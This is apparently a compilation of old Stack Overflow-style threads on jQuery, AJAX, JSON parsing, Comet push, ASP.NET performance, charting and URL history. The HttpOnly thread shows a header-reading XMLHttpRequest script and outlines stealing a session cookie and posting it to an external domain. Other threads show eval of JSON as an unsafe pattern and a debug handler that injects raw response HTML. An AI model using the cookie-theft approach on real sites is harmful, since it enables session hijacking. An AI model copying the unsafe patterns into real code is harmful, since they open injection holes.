There's a jquery plugin that uses the same kind of .properties file that you would use in Java code. It is available at http://code.google.com/p/jquery-i18n-properties/
It claims to be able to automatically replace elements with id's that match properties in the .properties file, but I wasn't able to get it to work. Also, I figured that was too restrictive b/c then I couldn't repeat the same text in more than one place on the page. Nevertheless, here's a solution with just a bit extra code:
The html:
<script type="text/javascript" src="jquery.i18n.properties-min.js"></script>
<div class="i18n_label:foo">placeholder text</div>
The properties file:
i18n_label:foo=bar
The js to fill it in:
$.i18n.properties({
name: 'Messages',
mode: 'map'
});
$('[class*="i18n_label:"]').each(function(index, elem) {
$(elem.classList).each(function(index, classname) {
if (!classname.match(/i18n_label:/))
return;
var newval = $.i18n.prop(classname);
if (newval)
$(elem).text(newval);
});
});
Given a string of JSON data, how can you safely turn that string into a JavaScript object?
Obviously you can do this unsafely with something like...
var obj = eval("(" + json + ')');
...but that leaves us vulnerable to the json string containing other code, which it seems very dangerous to simply eval.
Don't bother with that crap. If you're using jQuery just use:
jQuery.parseJSON( jsonString );
It's exactly what you're looking for
JSON.org has JSON parsers for many languages including 4 different ones for Javascript. I believe most people would consider json2.js their goto implementation.
Why not just:
JSON.parse(jsonString);
I'm not sure about other ways to do it but here's how you do it in Prototype (JSON tutorial).
new Ajax.Request('/some_url', {
method:'get',
requestHeaders: {Accept: 'application/json'},
onSuccess: function(transport){
var json = transport.responseText.evalJSON(true);
}
});
Calling evalJSON() with true as the argument sanitizes the incoming string.
If you're using jQuery, you can also just do $.getJSON(url, function(data) { });
Then you can do things like data.key1.something, data.key1.something_else, etc.
JS Guru Douglas Crockford has written a parseJSON function which you download here
$.ajax({ url: url, dataType: 'json', data: data, success: callback });
The callback is passed the returned data, which will be a JavaScript object or array as defined by the JSON structure and parsed using the $.parseJSON() method.
I have successfully been using json_sans_eval for a while now. According to its author, it is more secure than json2.js.
I'm using jquery ajax to post updates back to my server. I'm concerned about making sure I have put in place appropriate measures so that only my AJAX calls can post data.
My stack is PHP on Apache against a MySQL backend.
Advice greatly appreciated!
Any request that the AJAX calls in your pages can make can also be made by someone outside of the application. If done right, you will not be able to tell if they were made as part of an AJAX call from your webapp or by hand/other means.
There are two scenarios I can think of which you might be talking about when you say you want to make sure that only your AJAX calls can post data: either you don't want a malicious user to be able to post data that interferes with another user's data or you actually want to restrict the posts to being in the "flow" of a multi-request operation.
If you are concerned with the first case (someone posting malicious data to/as another user) the solution is the same whether you are using AJAX or not -- you just have to authenticate the user through whatever means is necessary -- usually via session cookie.
If you are concerned with the second case, then you are going to have to do something like issue a unique token at each step of the process, and store the expected token on the server side. Then when a request is made, check that there is a corresponding entry on the server side for the action that is being taken and that the expected tokens match and that that token has not been used yet. If there is no, you reject the request, if there is, then you mark that token as used and process the request.
If what you are concerned about is something other than one of these two scenarios then the answer will depend on more specifics than you have provided.
Use sessions to ensure that any Ajax posts are done in an authenticated context. Think of your Ajax code as just another client to your server, it becomes easier to tackle authentication issues that way.
I guess I read somewhere !! Jquery managed this problem using something with css.
If anboddy wants to set a call to API it do not go directly from html-> javawscript->xmlhttp->server.
It actually follow the same path indirectly with different method..that is with css
Does anybody have any clue about this
I would like know more about it
Regards
Sushant Danekar
I used the jQuery Form plugin for asynchronous form submission. For forms that contain files, it copies the form to a hidden iframe, submits it, and copies back the iframe's contents. The problem is that I can't figure out how to find what HTTP status code was returned by the server. For example, if the server returns 404, the data from the iframe will be copied as normal and treated as a regular response.
I've tried poking around in the iframe objects looking for some sort of status_code attribute, but haven't been able to find anything like that.
The $.ajax() function can't be used, because it does not support uploading files. The only way to asynchronously upload files that I know of is using the hidden iframe method.
You can't get page headers by JS, but you can distinguish error from success: Try something like this:
<script type="text/javascript">
var uploadStarted = false;
function OnUploadStart(){
uploadStarted = true;
}
function OnUploadComplete(state,message){
if(state == 1)
alert("Success: "+message);
else
if(state == 0 && uploadStarted)
alert("Error:"+( message ? message : "unknow" ));
}
</script>
<iframe id="uploader" name="uploader" onload="OnUploadComplete(0)" style="width:0px;height:0px;border:none;"></iframe>
<form id="sender" action="/upload.php" method="post" target="uploader" enctype="multipart/form-data" onsubmit="OnUploadStart()">
<input type="file" name="files[upload]"/>
<input type="submit" value="Upload"/>
</form>
On server side:
/*
file: upload.php
*/
<?php
// do some stuff with file
print '<script type="text/javascript">';
if(success)
print 'window.parent.OnUploadComplete(1,"File uploaded!");';
else
print 'window.parent.OnUploadComplete(0, "File too large!");';
print '</script>';
?>
Ok basically you can do one of the following:
1- Make use of this library :
http://www.phpletter.com/Demo/AjaxFileUpload-Demo/
I tried it and its working fine with me, I do upload files asynchronously and I am using it widely.
2- Please refer to this post:
call javascript function from outside an iframe
it will give you the needed insights to solve your problem.
I'm considering developing a website similar to stackoverflow, but the answers may also consist of drawings (schematics, in this case). I want to have an area in the answer form where they can make this schematic without requiring special plugins, etc.
-Adam Davis
Raphael looks like an interesting take on the problem of cross-browser vector graphics.
Unfortunately, I don't have an answer, but I do have three pointers to projects that you could look at.
The first is the Lively Kernel by Dan Ingalls (yes, the Dan Ingalls) at Sun Labs. It is an implementation of a Smalltalk Virtual World in JavaScript on top of SVG. More precisely, it is an implementation of the Morphic GUI framework from Squeak Smalltalk in JavaScript using SVG and a port of (parts of) Squeak Smalltalk in JavaScript.
Or, if you're not a Smalltalker and the above doesn't make sense to you: it's an Operating System, written in JavaScript with the JavaScript interpreter as the CPU, SVG as the graphics card and the browser as the computer.
This is about as extreme as it gets, when it comes to JavaScript and SVG. And it only fully works in Safari 3 and partly in Firefox 3, although there is an experimental port to Internet Explorer as well.
The second project is John Resig's Processing.js port of the Processing visualization language to JavaScript. It uses the <canvas> element instead of SVG precisely because of the problems that you mentioned. This one however, only works in Firefox 3.
The third one is Real-Time 3D in JavaScript by Useless Pickles. It uses only JavaScript, DOM and CSS and no SVG or <canvas> or Flash or whatever. And it is portable to almost any browser, including Internet Explorer 7 and up. Doing 2D should be even easier than this.
Between those three projects you should be able to find some inspiration and also to find some people who tried to push the envelope with JavaScript and SVG or JavaScript and Graphics and can tell you what works and what doesn't.
Conclusion: doing cross-browser SVG or cross-browser <canvas> is nigh impossible, but with a little bit of craziness, cross-browser graphics without SVG or <canvas> is possible.
1/ probably never - if IE wanted to add it, then I would have though it would have done so by now; but there are workarounds using SilverLight and Gecko to provide rendering. On the other hand, there are cross-browser graphics APIs available. I've done largish front ends using XULRunner and SVG, but nothing on the web which had to cater for IE.
2/ The two I referred to most often were the SVG pages on mozilla.org and this SVG DOM reference . All of my SVG links are here on delicious
There's one existing editor at http://www.bpel4chor.org/editor/; also if all you want is schematics where all arcs are on a grid, you can do that quite well using divs and images without SVG. Or you could just go the lo-fi route
As @jwmittag mentioned <canvas> is an option.
It works in Saffari and Firefox 3, Opera 9, and people are developing support for IE.
You could easily capture mouse clicks associated with the current tool and properties. Redrawing the canvas on every page display.
I just finished a project using <canvas> and it's a simple and very powerful API to work with, especially if you have ever done any OpenGL or Cairo work.
Good Luck, sounds like a cool project.
SVGWeb is a script that adds near-native SVG capabilities to IE using flash. All the other major browsers support SVG.
When using jQuery's ajax method to submit form data, what is the best way to handle errors? This is an example of what a call might look like:
$.ajax({
url: "userCreation.ashx",
data: { u:userName, p:password, e:email },
type: "POST",
beforeSend: function(){disableSubmitButton();},
complete: function(){enableSubmitButton();},
error: function(xhr, statusText, errorThrown){
// Work out what the error was and display the appropriate message
},
success: function(data){
displayUserCreatedMessage();
refreshUserList();
}
});
The request might fail for a number of reasons, such as duplicate user name, duplicate email address etc, and the ashx is written to throw an exception when this happens.
My problem seems to be that by throwing an exception the ashx causes the statusText and errorThrown to be undefined. I can get to the XMLHttpRequest.responseText which contains the HTML that makes up the standard .net error page.
I am finding the page title in the responseText and using the title to work out which error was thrown. Although I have a suspicion that this will fall apart when I enable custom error handling pages.
Should I be throwing the errors in the ashx, or should I be returning a status code as part of the data returned by the call to userCreation.ashx, then using this to decide what action to take? How do you handle these situations?
For debugging, I usually just create an element (in the case below: <div id="error"></div>) on the page and write the XmlHttpRequest to it:
error: function (XMLHttpRequest, textStatus, errorThrown) {
$("#error").html(XMLHttpRequest.status + "\n<hr />" + XMLHttpRequest.responseText);
}
Then you can see the types of errors that are occurring and capture them correctly:
if (XMLHttpRequest.status === 404) // display some page not found error
if (XMLHttpRequest.status === 500) // display some server error
In your ashx, can you throw a new exception (e.g "Invalid User" etc.) and then just parse that out of the XMLHttpRequest.responseText? For me when I get an error the XMLHttpRequest.responseText isn't the standard Asp.Net error page, it's a JSON object containing the error like this:
{
"Message":"Index was out of range. Must be non-negative and less than the size of the collection.\r\n
Parameter name: index",
"StackTrace":" at System.ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument argument, ExceptionResource resource)\r\n
at etc...",
"ExceptionType":"System.ArgumentOutOfRangeException"
}
Edit: This could be because the function I'm calling is marked with these attributes:
<WebMethod()> _
<ScriptMethod()> _
Should I be throwing the errors in the ashx, or should I be returning a status code as part of the data returned by the call to userCreation.ashx, then using this to decide what action to take? How do you handle these situations?
Personally, if possible, I would prefer to handle this on the server side and work up a message to the user there. This works very well in a scenario where you only want to display a message to the user telling them what happened (validation message, essentially).
However, if you want to perform an action based on what happened on the server, you may want to use a status code and write some javascript to perform various actions based on that status code.
Now I have a problem as to which answer to accept.
Further thought on the problem brings me to the conclusion that I was incorrectly throwing exceptions. Duplicate user names, email addresses etc are expected issues during a sign up process and are therefore not exceptions, but simply errors. In which case I probably shouldn't be throwing exceptions, but returning error codes.
Which leads me to think that irobinson's approach should be the one to take in this case, especially since the form is only a small part of the UI being displayed. I have now implemented this solution and I am returning xml containing a status and an optional message that is to be displayed. I can then use jQuery to parse it and take the appropriate action: -
success: function(data){
var created = $("result", data).attr("success");
if (created == "OK"){
resetNewUserForm();
listUsers('');
} else {
var errorMessage = $("result", data).attr("message");
$("#newUserErrorMessage").text(errorMessage).show();
}
enableNewUserForm();
}
However travis' answer is very detailed and would be perfect during debugging or if I wanted to display an exception message to the user. I am definitely not receiving JSON back, so it is probably down to one of those attributes that travis has listed, as I don't have them in my code.
(I am going to accept irobinson's answer, but upvote travis' answer. It just feels strange to be accepting an answer that doesn't have the most votes.)
JavaScript needs access to cookies if AJAX is used on a site with access restrictions based on cookies. Will HttpOnly cookies work on an AJAX site?
Edit: Microsoft created a way to prevent XSS attacks by disallowing JavaScript access to cookies if HttpOnly is specified. FireFox later adopted this. So my question is: If you are using AJAX on a site, like StackOverflow, are Http-Only cookies an option?
Edit 2: Question 2. If the purpose of HttpOnly is to prevent JavaScript access to cookies, and you can still retrieve the cookies via JavaScript through the XmlHttpRequest Object, what is the point of HttpOnly?
Edit 3: Here is a quote from Wikipedia:
When the browser receives such a cookie, it is supposed to use it as usual in the following HTTP exchanges, but not to make it visible to client-side scripts.[32] The
HttpOnlyflag is not part of any standard, and is not implemented in all browsers. Note that there is currently no prevention of reading or writing the session cookie via a XMLHTTPRequest. [33].
I understand that document.cookie is blocked when you use HttpOnly. But it seems that you can still read cookie values in the XMLHttpRequest object, allowing for XSS. How does HttpOnly make you any safer than? By making cookies essentially read only?
In your example, I cannot write to your document.cookie, but I can still steal your cookie and post it to my domain using the XMLHttpRequest object.
<script type="text/javascript">
var req = null;
try { req = new XMLHttpRequest(); } catch(e) {}
if (!req) try { req = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) {}
if (!req) try { req = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) {}
req.open('GET', 'http://stackoverflow.com/', false);
req.send(null);
alert(req.getAllResponseHeaders());
</script>
Edit 4: Sorry, I meant that you could send the XMLHttpRequest to the StackOverflow domain, and then save the result of getAllResponseHeaders() to a string, regex out the cookie, and then post that to an external domain. It appears that Wikipedia and ha.ckers concur with me on this one, but I would love be re-educated...
Final Edit: Ahh, apparently both sites are wrong, this is actually a bug in FireFox. IE6 & 7 are actually the only browsers that currently fully support HttpOnly.
To reiterate everything I've learned:
edit: This information is likely no longer up to date.
Yes, HTTP-Only cookies would be fine for this functionality. They will still be provided with the XmlHttpRequest's request to the server.
In the case of Stack Overflow, the cookies are automatically provided as part of the XmlHttpRequest request. I don't know the implementation details of the Stack Overflow authentication provider, but that cookie data is probably automatically used to verify your identity at a lower level than the "vote" controller method.
More generally, cookies are not required for AJAX. XmlHttpRequest support (or even iframe remoting, on older browsers) is all that is technically required.
However, if you want to provide security for AJAX enabled functionality, then the same rules apply as with traditional sites. You need some method for identifying the user behind each request, and cookies are almost always the means to that end.
In your example, I cannot write to your document.cookie, but I can still steal your cookie and post it to my domain using the XMLHttpRequest object.
XmlHttpRequest won't make cross-domain requests (for exactly the sorts of reasons you're touching on).
You could normally inject script to send the cookie to your domain using iframe remoting or JSONP, but then HTTP-Only protects the cookie again since it's inaccessible.
Unless you had compromised StackOverflow.com on the server side, you wouldn't be able to steal my cookie.
Edit 2: Question 2. If the purpose of Http-Only is to prevent JavaScript access to cookies, and you can still retrieve the cookies via JavaScript through the XmlHttpRequest Object, what is the point of Http-Only?
Consider this scenario:
With HTTP-Only cookies, the second step would be impossible, thereby defeating my XSS attempt.
Edit 4: Sorry, I meant that you could send the XMLHttpRequest to the StackOverflow domain, and then save the result of getAllResponseHeaders() to a string, regex out the cookie, and then post that to an external domain. It appears that Wikipedia and ha.ckers concur with me on this one, but I would love be re-educated...
That's correct. You can still session hijack that way. It does significantly thin the herd of people who can successfully execute even that XSS hack against you though.
However, if you go back to my example scenario, you can see where HTTP-Only does successfully cut off the XSS attacks which rely on modifying the client's cookies (not uncommon).
It boils down to the fact that a) no single improvement will solve all vulnerabilities and b) no system will ever be completely secure. HTTP-Only is a useful tool in shoring up against XSS.
Similarly, even though the cross domain restriction on XmlHttpRequest isn't 100% successful in preventing all XSS exploits, you'd still never dream of removing the restriction.
Not necessarily, it depends what you want to do. Could you elaborate a bit? AJAX doesn't need access to cookies to work, it can make requests on its own to extract information, the page request that the AJAX call makes could access the cookie data & pass that back to the calling script without Javascript having to directly access the cookies
Therefore I am assuming JavaScript needs access to your cookies.
All HTTP requests from your browser transmit your cookie information for the site in question. JavaScript can both set and read cookies. Cookies are not by definition required for Ajax applications, but they are required for most web applications to maintain user state.
The formal answer to your question as phrased - "Does JavaScript need access to cookies if AJAX is used?" - is therefore "no". Think of enhanced search fields that use Ajax requests to provide auto-suggest options, for example. There is no need of cookie information in that case.
No, the page that the AJAX call requests has access to cookies too & that's what checks whether you're logged in.
You can do other authentication with the Javascript, but I wouldn't trust it, I always prefer putting any sort of authentication checking in the back-end.
Cookies are automatically handled by the browser when you make an AJAX call, so there's no need for your Javascript to mess around with cookies.
As clarification - from the server's perspective, the page that is requested by an AJAX request is essentially no different to a standard HTTP get request done by the user clicking on a link. All the normal request properties: user-agent, ip, session, cookies, etc. are passed to the server.
Yes, they are a viable option for an Ajax based site. Authentication cookies aren't for manipulation by scripts, but are simply included by the browser on all HTTP requests made to the server.
Scripts don't need to worry about what the session cookie says - as long as you are authenticated, then any requests to the server initiated by either a user or the script will include the appropriate cookies. The fact that the scripts cannot themselves know the content of the cookies doesn't matter.
For any cookies that are used for purposes other than authentication, these can be set without the HTTP only flag, if you want script to be able to modify or read these. You can pick and choose which cookies should be HTTP only, so for example anything non-sensitive like UI preferences (sort order, collapse left hand pane or not) can be shared in cookies with the scripts.
I really like the HTTP only cookies - it's one of those proprietary browser extensions that was a really neat idea.
Yes, cookies are very useful for Ajax.
Putting the authentication in the request URL is bad practice. There was a news item last week about getting the authentication tokens in the URL's from the google cache.
No, there is no way to prevent attacks. Older browsers still allow trivial access to cookies via javascript. You can bypass http only, etc. Whatever you come up with can be gotten around given enough effort. The trick is to make it too much effort to be worthwhile.
If you want to make your site more secure (there is no perfect security) you could use an authentication cookie that expires. Then, if the cookie is stolen, the attacker must use it before it expires. If they don't then you have a good indication there's suspicious activity on that account. The shorter the time window the better for security but the more load it puts on your server generating and maintaining keys.
There's a bit more to this.
Ajax doesn't strictly require cookies, but they can be useful as other posters have mentioned. Marking a cookie HTTPOnly to hide it from scripts only partially works, because not all browsers support it, but also because there are common workarounds.
It's odd that the XMLHTTPresponse headers are giving the cookie, technically the server doesn't have to return the cookie with the response. Once it's set on the client, it stays set until it expires. Though there are schemes in which the cookie is changed with every request to prevent re-use. So you may be able to avoid that workaround by changing the server to not provide the cookie on the XMLHTTP responses.
In general though, I think HTTPOnly should be used with some caution. There are cross site scripting attacks where an attacker arranges for a user to submit an ajax-like request originating from another site, using simple post forms, without the use of XMLHTTP, and your browser's still-active cookie would authenticate the request.
If you want to be sure that an AJAX request is authenticated, the request itself AND the HTTP headers need to contain the cookie. Eg through the use of scripts or unique hidden inputs. HTTPOnly would hinder that.
Usually the interesting reason to want HTTPOnly is to prevent third-party content included on your webpage from stealing cookies. But there are many interesting reasons to be very cautious about including third-party content, and filter it aggressively.
Of course I am aware of Ajax, but the problem with Ajax is that the browser should poll the server frequently to find whether there is new data. This increases server load.
Is there any better method (even using Ajax) other than polling the server frequently?
Yes, what you're looking for is COMET http://en.wikipedia.org/wiki/Comet_(programming). Other good Google terms to search for are AJAX-push and reverse-ajax.
Yes, its called Reverse Ajax or Comet. Comet is basically an umbrella term for different ways of opening long-lived HTTP requests in order to push data in real-time to a web browser. I'd recommend StreamHub Push Server, they have some cool demos and its much easier to get started with than any of the other servers. Check out the Getting Started with Comet and StreamHub Tutorial for a quick intro. You can use the Community Edition which is available to download free but limited to 20 concurrent users. The commercial version is well worth it for the support alone plus you get SSL and Desktop .NET & Java client adapters. Help is available via the Google Group, there's a good bunch of tutorials on the net and there's a GWT Comet adapter too.
Look into Comet (a spoof on the fact that Ajax is a cleaning agent and so is Comet) which is basically "reverse Ajax." That's exactly what you're looking for. Be aware that this can be a little server intensive from what I've heard, but it's exactly what you're looking for i think.
An interesting alternative to Comet is to use sockets in Flash.
Comet is definitely what you want. Depending on your language/framework requirements, there are different server libraries available. For example, WebSync is an IIS-integrated comet server for ASP.NET/C#/IIS developers, and there are a bunch of other standalone servers as well if you need tighter integration with other languages.
Comet was actually coined by Alex Russell from Dojo Toolkit ( http://www.dojotoolkit.org ). Here is a link to more infomration http://cometdproject.dojotoolkit.org/
There are other methods. Not sure if they are "better" in your situation. You could have a Java applet that connects to the server on page load and waits for stuff to be sent by the server. It would be a quite a bit slower on start-up, but would allow the browser to receive data from the server on an infrequent basis, without polling.
It's possible to achive what you're aiming at through the use of persistent http connections.
Check out the Comet article over at wikipedia, that's a good place to start.
You're not providing much info but if you're looking at building some kind of event-driven site (a'la digg spy) or something along the lines of that you'll probably be looking at implementing a hidden IFRAME that connects to a url where the connection never closes and then you'll push script-tags from the server to the client in order to perform the updates.
I would strongly suggest to invest some time on Comet, but I dont know an actual implementation or library you could use.
For an sort of "callcenter control panel" of a web app that involved updating agent and call-queue status for a live Callcenter we developed an in-house solution that works, but is far away from a library you could use.
What we did was to implement a small service on the server that talks to the phone-system, waits for new events and maintains a photograph of the situation. This service provides a small webserver.
Our web-clients connects over HTTP to this webserver and ask for the last photo (coded in XML), displays it and then goes again, asking for the new photo. The webserver at this point can:
This way, when clients polls, it get a response in 0 to 30 seconds max. If a new event was already generated it gets it immediately), otherwise it blocks until new event is generated.
It's basically polling, but it somewhat smart polling to not overheat the webserver. If Comet is not your answer, I'm sure this could be implemented using the same idea but using more extensively AJAX or coding in JSON for better results. This was designed pre-AJAX era, so there are lots of room for improvement.
If someone can provide a actual lightweight implementation of this, great!
You could try out our Comet Component - though it's extremely experimental...!
You can use a Flash/Flex application on the client with BlazeDS or LiveCycle on the server side. Data can be pushed to the client using an RTMP connection. Be aware that RTMP uses a non standard port. But you can easily fall back to polling if the port is blocked.
I am not sure there is. To make it conceptually simpler for the application I guess you could implement a transport layer on top of the polling requests, and thus removing the polling responsibility from your application logic. Maybe someone even already implemented this?
Edit: Apparently it's called reverse Ajax and Comet, but so far it looks like you have to implement it yourself. A JavaScript library for this, anyone?
Once a connection is opened to the server it can be kept open and the server can Push content a long while ago I did with using multipart/x-mixed-replace but this didn't work in IE.
I think you can do clever stuff with polling that makes it work more like push by not sending content unchanged headers but leaving the connection open but I've never done this.
You can also look into Java Pushlets if you are using jsp pages.
Might be worth checking out Meteor Server which is a web server designed for COMET. Nice demo and it also is used by twitterfall.
Might want to look at ReverseHTTP also.
I haven't looked into it in detail yet, but it was my impression the recently open-source tornado web server from FriendFeed/Facebook has support for this model as it's how FriendFeed works. Written in python. http://www.tornadoweb.org/
Here is a good reference for [http://www.codeproject.com/KB/aspnet/CometGrid.aspx][1] for doing this in a grid.
Simplest way:--
Will direct MOST browsers to refresh the contents after 10 seconds. Your server can then serve up the latest content.
I have an Ajax.Net enabled ASP.Net 2.0 web site. Hosting for both the site and the database are out of my control as is the database's schema. In testing on hardware I do control the site performs well however on the client's hardware, there are noticeable delays when reloading or changing pages.
What I would like to do is make my application as compact and speedy as possible when I deliver it. One idea is to set expiration dates for all of the site's static resources so they aren't recalled on page loads. By resources I mean images, linked style sheets and JavaScript source files. Is there an easy way to do this?
What other ways are there to optimize a .Net web site?
UPDATE: I've run YSlow on the site and the areas where I am getting hit the hardest are in the number of JavaScript and Style Sheets being loaded (23 JS files and 5 style sheets). All but one (the main style sheet) has been inserted by Ajax.net and Asp. Why so many?
My best advice is to check out the YUI content. They have some great articles that talk about things like CSS sprites and have some nice javascript libraries to help reduce the number of requests the browser is making.
If you are using Firefox to test your website, you might want to try a nifty Firefox extension from Yahoo! called YSlow.
It analyzes your web pages and provides grades from A-F (A being the Best and F being the worst) for each of the best practices, for high performance websites. It will help you to track down the elements of your website which you could optimize to gain speedups.
Turn viewstate off by default, it will be a night and day difference on even the most simple pages.
I wrote a blog post about improving ASP.NET page performance this a couple months back. Here are some quick & easy ways -
I think you really need to be able to get some actual PerfMon data/telemetry from the app whilst running in production to be able to make an enlightened decision about what to optimise.
As a throw away tip I'd make sure your app is deployed as a Release build and set debug="false" in the 'compilation' section of your web.config.
You seem to be starting by assuming that your problem is download size - that may not necessarily be the case. You should do some experimentation with your ASP.NET site to determine if there are areas in your code which are causing undue delays. If it turns out that download size is not your problem, you'll need to find ways to cache your results (look into output caching, which is an ASP.NET feature) or optimize your code.
In any case - the first step when looking at a performance issue is always to verify your assumptions first, then decide on a course of action.
Have you tried these tips?
http://weblogs.asp.net/haroonwaheed/archive/2008/06/30/ASP.NET-Performance-Tips.aspx
You could start looking at caching strategies. Static files like CSS (even compressed ones) and images (even optimized ones) should only need to be downloaded once by the browser for a period of time.
Scirpt combining for AJAX has already been mentioned, but I didn't notice reference to the ScriptReferenceProfiler MS has released on codeplex to help figure out what to combine. Mike Ormond has a good start point on this.
Another tip if you're doing a lot of INSERTs to your database is to double check your server's disk caching is switched on. Case in point, I had an data importer doing 1.2 million inserts during a run. Took 4 hours and change without caching on. Took 16 minutes with it on.
A general thing when using ASP.NET and Ajax (any Ajax library) together is to avoid elephanting your Page_Load and Page_Init (and their method counterparts) things since these will be executing on every Ajax Request.
When that is said I would seriously ditch ASP.NET AJAX and use anything else...
Anthem.NET, AjaxPRO.NET, jQuery or whatever else than ASP.NET AJAX...
Of course I would use Ra-Ajax myself since that's my project. But then again I am biased...
You could turn on compression based on your client supporting it. See this article: link text
Static resources shouldn't be resent unless changed. IIS will send a response code which tells the browser to use the cached version.
You could also look at ASP.NET output caching, which can be applied fairly granularly to different portions of your page:
http://msdn.microsoft.com/en-us/library/xsbfdd8c(VS.71).aspx
I'm creating a web application on Google App Engine for fun and I'd like to include graphs so users can see some stats. Are there any free (either as in beer or speech) JavaScript libraries that can take a table or make some AJAX call and display a graph?
Flot can create some really nice looking charts. It's a JavaScript library rather than a service like Google Charts. It does require jQuery though.
Here is my personal shortlist with comments:
In a nutshell, for tiny little simple graphs I'd use the Google charts API, but for my current project (an internal reporting tool) it'll likely be Flot, though if it was client-facing code I'd probably either look further or give Flotr/Prototype a try.
Check out Google Charts
Theres the Google Visualization API,
It lets you create easy charts/tables (some of them are even interactive) pretty much anything in javascript
google.load("visualization", "1", {packages:["areachart"]});
google.setOnLoadCallback(drawChart);
function drawChart() {
var data = new google.visualization.DataTable();
data.addColumn('string', 'Year');
data.addColumn('number', 'Sales');
data.addColumn('number', 'Expenses');
data.addRows(2);
data.setValue(0, 0, '2004');
data.setValue(0, 1, 1000);
data.setValue(0, 2, 400);
data.setValue(1, 0, '2005');
data.setValue(1, 1, 1170);
data.setValue(1, 2, 460);
var chart = new google.visualization.AreaChart(document.getElementById('chart_div'));
chart.draw(data, {width: 400, height: 240, legend: 'bottom', title: 'Company Performance'});
}
here are some examples from the google gallery of visualizations currently available.
I noticed that a few people mentioned Flot but nobody mentioned Flotr! Also on Google Code http://code.google.com/p/flotr/.
Check a JSON example, complete with the code to do it, right here.
It requires the Prototype.js Javascript library and works in all modern browsers!
Highcharts looks really impressive. It's based on jQuery or Mootools.
If you use jquery:
DojoX is an option
For the YUI users:
I'm writing an AJAX app, but as the user moves through the app, I'd like the URL in the address bar to update despite the lack of page reloads. Basically, I'd like for them to be able to bookmark at any point and thereby return to the current state.
How are people handling maintaining RESTfulness in AJAX apps? Thanks in advance.
The way to do this is to manipulate location.hash when AJAX updates result in a state change that you'd like to have a discreet URL. For example, if your page's url is:
If a client side function executed this code:
// AJAX code to display the "foo" state goes here.
location.hash = 'foo';
Then, the URL displayed in the browser would be updated to:
This allows users to bookmark the "foo" state of the page, and use the browser history to navigate between states.
With this mechanism in place, you'll then need to parse out the hash portion of the URL on the client side using JavaScript to create and display the appropriate initial state, as fragment identifiers (the part after the #) are not sent to the server.
Ben Alman's hashchange plugin makes the latter a breeze if you're using jQuery.
This is similar to what Kevin said. You can have your client state as some javascript object, and when you want to save the state, you serialize the object (using JSON and base64 encoding). You can then set the fragment of the href to this string.
var encodedState = base64(json(state));
var newLocation = oldLocationWithoutFragment + "#" + encodedState;
document.location = newLocation; // adds new entry in browser history
document.location.replace(newLocation); // replaces current entry in browser history
The first way will treat the new state as a new location (so the back button will take them to the previous location). The latter does not.
Look at sites like book.cakephp.org. This site changes the URL without using the hash and use AJAX. I'm not sure how it does it exactly but I've been trying to figure it out. If anyone knows, let me know.
Also github.com when looking at a navigating within a certain project.
Looks like you're right. That's the only approach.
This seems like a good detailed explanation of your advice: http://ajaxpatterns.org/Unique_URLs
Thank you for your help.
It is unlikely the writer wants to reload or redirect his visitor when using Ajax. But why not use HTML5's pushState/replaceState?
You'll be able to modify the addressbar as much as you like. Get natural looking urls, with ajax: http://www.w3.org/TR/html5/history.html#the-history-interface
Check out the code on my latest project: http://iesus.se/
Basically your links contain anchors:
And when the page loads you check document.location.href and substr the ID off the end to get the state. At least that's how I've been doing it. :(
Hopefully there's a better way.
SWFAddress works in Flash & Javascript projects and lets you create bookmarkable URLs (using the hash method mentioned above) as well as giving you back-button support.
The window.location.hash method is the preferred way of doing things. For an explanation of how to do it, Ajax Patterns - Unique URLs.
YUI has an implementation of this pattern as a module, which includes IE specific work arounds for getting the back button working along with re-writing the address using the hash. YUI Browser History Manager.
Other frameworks have similar implementations as well. The important point is if you want the history to work along with the re-writing the address, the different browsers need different ways of handling it. (This is detailed in the first link article.)
IE needs an iframe based hack, where Firefox will produce double history using the same method.
Check if user is 'in' the page, when you click on the url bar, javascript says you are out of page. If you change the url bar and press 'ENTER' with the symbol '#' within it then you go into the page again, without click on the page manually with mouse cursor, then a keyboad event command (document.onkeypress) from javascript will be able to check if it's enter and active the javascript for redirection. You can check if user is IN the page with window.onfocus and check if he's out with window.onblur.
Yeah, it's possible.
;)
If OP or others are still looking for a way to do modify browser history to enable state, using pushState and replaceState, as suggested by IESUS, is the 'right' way to do it now. It's main advantage over location.hash seems to be that it creates actual urls, not just hashes. If browser history using hashes is saved, and then revisited with javascript disabled, the app won't work, since the hashes aren't sent to the server. However, if pushState has been used, the entire route will be sent to the server, which you can then build to respond appropriately to the routes. I saw an example where the same mustache templates were used on both the server and the client side. If the client had javascript enabled, he would get snappy responses by avoiding the roundtrip to the server, but the app would work perfectly fine without the javascript. Thus, the app can gracefully degrade in the absence of javascript.
Also, I believe there is some framework out there, with a name like history.js. For browsers that support HTML5, it uses pushState, but if the browser doesn't support that, it automatically falls back to using hashes.